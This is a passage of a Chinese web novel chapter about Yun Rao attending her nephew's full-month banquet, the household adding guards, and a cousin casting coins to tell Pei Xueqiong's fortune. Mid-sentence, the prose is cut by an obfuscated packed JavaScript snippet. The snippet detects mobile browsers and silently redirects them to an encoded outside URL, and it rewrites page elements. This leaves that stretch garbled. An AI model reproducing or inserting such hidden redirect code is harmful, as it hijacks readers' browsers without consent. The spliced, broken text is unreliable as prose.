见孙氏似有忧色,裴见泽便笑了笑,“倒也未必。即便这次能糊弄过去,薛家栽这么大个跟头,焉知往后不会有旁的祸事?祖父身子骨还硬朗,大哥又那样庸碌,扶不上墙的烂泥,日子久了总会失去耐性的。” 而他要做的,便是在博得祖父欢心之余尽力考个功名,再生个儿子出来,好教长辈放心地托付家业。 裴见泽搂着妻子闲聊许久,等歇过劲儿来,便抱她进了卧房。 …… 枕峦春馆里,云娆却没空理会薛家的事。 明日就是侄儿江凇的满月宴,云娆先前已给小家伙准备了好几样柔软好用的物事,又给长嫂苏春柔和母亲备了些东西,这会儿正忙着让金墨寻了锦盒,妥帖地装进去。 待次日前晌便登车回娘家贺喜。 后半夜下了场不小的雨,倒让暑热里难得的有了个还算凉快的天气。 云娆算是来得早的,怕母亲和嫂嫂忙不过来,进府后拜见长辈搁下礼物、看过小侄子和嫂嫂,就想帮着母亲打理些事情。 二婶祁氏便笑道:“你如今是诰命了,哪好做这些琐碎事的,叫人看着不像样子。该好生坐到席上去,撑撑门面。” 她从前被云娆逼着交出中馈时,对这侄女儿深为厌弃,如今倒是生出几分对官眷的恭敬热络,说话时都笑吟吟的,不敢掺杂半点揶揄嫉妒。 徐氏知道自家女儿不是摆谱的性子,但裴砚这女婿实在争气,既给了云娆这样的体面庇护,她哪有不喜欢的。便道:“这里的事有我们,不如你去跨院吧,亲戚们大多都要看看孩子,怕你嫂嫂待会儿忙不过来。” 这倒是个正经事儿。 因鹿岭别苑的那场凶案,这阵子京畿的官员都受了牵累,忙着巡查贼寇等事。江伯宣身在衙署,难免也格外忙碌,满月宴都没能告假回家。 稍后宾客们陆续到了,苏春柔未必照应得过来。 云娆领了这差事,先到跨院里同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14874397|155411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏春柔说着话儿逗孩子,等晚些时候亲戚们来探望母子俩,便帮着照应接待。 时隔半年,江家再办喜事,又是添丁之喜,徐氏身后的许多亲戚都从京城外赶过来了。 云娆出阁时身为新娘没能见着舅舅、姨母们,这回倒是个好时机,问候过外祖父母的身体后慢叙别情,倒是难得的欢快。当天晚上,留了几位亲戚住在府中客舍,安置不下的便安排在近处的客栈里。 翌日用完早饭,因姨母她们难得进京,徐氏便带她们去街市逛逛,采买些东西。 云娆不好在娘家久住,就没跟着去,和苏春柔在跨院里闲聊逗弄着小侄子,直待近午时分才动身回侯府。 因鹿岭别苑那阵势实在吓人,也足见流民之乱正日渐袭向京城,太夫人回府后就跟侯爷裴固商量着添了十来位习过武的护院,每日在府内外多加巡查。 贺峻赶车进府时,正好瞧见他们穿着簇新的衣衫巡逻,不由道:“嚯,这架势!” 青霭常随云娆出府办事,跟贺峻也渐渐熟悉,闻言笑道:“怎么了?听说是太夫人特地添的,免得有人来侯府生事。” “真有人来闹,凭他们几个哪能拦得住。” 贺峻虽没跟着裴砚上阵杀敌过,却也是精挑细选出来的高手,一眼就能瞧出那几位的身手,嘴里调侃着,待马车停稳后便熟稔的摆好踩凳。 云娆提裙下车,就着青霭撑的伞往枕峦春馆走。 前儿夜里那场雨虽带来了大半天的凉爽,这会儿艳阳高悬炙烤着青石板,却又让暑热迅速回笼,连拂过的风都是闷热的。 她身上出了点汗,又觉日头晒得慌,恨不得早点飞回屋里抱住冰盆不撒手。 正闷头疾走,忽听青霭道:“咦,四姑娘在那儿做什么呢,也不怕热。” 云娆循她所指瞧过去,就见裴雪琼带着春鸢坐在临水的凉亭里,垂着脑袋也不知在想什么。水畔的高树上蝉声乱嘶,春鸢顶着细汗在旁边拼命为她摇团扇,主仆俩大热天的也不怕中暑。 温热的风拂过面颊,让后背又冒出些许薄汗,云娆瞧着裴雪琼的举动古怪,不由往那边拐过去。 春鸢也不知是走神还是怎么的,直等云娆走进凉亭时才察觉,忙回身屈膝见礼,“二少夫人!” 呆坐的裴雪琼也被这声音拽得回神,抬头见是云娆,懵懵地道:“二嫂。” 她脑门儿上有一层薄汗,像是已经在这儿坐了好半天,神情中的忐忑也没来得及遮掩,一看就是在琢磨心事。 “大热天的,坐这儿中了暑怎么办。”云娆牵起裴雪琼的手,安抚般捏了捏,“走,咱们回屋里发呆。” “我……” 裴雪琼迟疑着起身,却没有要走的意思,低声道:“心里有些烦乱,总觉得屋里太闷。” “那也不能在大暑天里熬着呀!”春鸢已经担忧半天了,好容易碰上云娆,忙道:“二少夫人你快劝劝,可不能中暑伤了身子。”说着话,扶住裴雪琼的胳膊,就想伙同云娆一道把裴雪琼带走。 云娆虽不知内情,也约莫能猜出些原委,便劝裴雪琼快回屋。 连拖带拽的没走两步,忽听有人笑道:“表妹的神儿都快飞了,拽回屋也还只个木头。”话音未落,就见贺染自一丛翠竹间穿出来,身边没带丫鬟陪同,虽说也微有汗意,神情却似闲庭信步。 裴雪琼被她调侃,嗔道:“表姐!” 贺染笑了笑,同云娆见礼,又道:“原想着趁空闲逛逛园子,谁知碰见一只呆头鹅。让我猜猜,是为今儿登门造访的那位夫人吧?” “表姐!你胡说什么!”裴雪琼这回真有点急了。 云娆瞥见她耳梢微红,大约明白了来者身份。 就听贺染笑道:“瞎猜没用,别真中暑了。走,表姐给你占一卦!”说话间,摸出几个铜钱在手里掂了掂,看姿势便知是位老手。 云娆没想到她还会这手,便笑道:“去我那里坐坐吧,离得也近。” 几个人一道往枕峦春馆而去,到屋里借风轮去去暑气,而后就着甘甜凉快的瓜果围坐在桌边。 裴雪琼从前只跟母亲在寺庙道观里抽过签,虽听说过占卜的种种花样,却没亲眼见过。这会儿瞧着贺染手里那几枚铜钱,不免有些好奇,“就这么三枚铜钱,也能看出门道来?” “这你别问,就说想算什么吧!”贺染眉头微扬。 裴雪琼瞧她成竹在胸,虽然有些面皮薄不好意思,却还是低声道:“那你且算算,这事儿顺不顺。” 她没明说,贺染也没追问,只将手里的铜钱掷了几次,而后闭目似是在默算。 云娆和裴雪琼都没说话,只拿签子戳着蜜瓜,等她的答案。 片刻之后,贺染睁开了眼睛。 裴雪琼紧紧盯着她,有点迫不及待,“怎么样?” 贺染眉头微不可察地皱了皱,又扫了一眼手里的铜钱,再抬起头时,倒是噙了稍许笑意,“是有些波折。不过,最后还是好的。”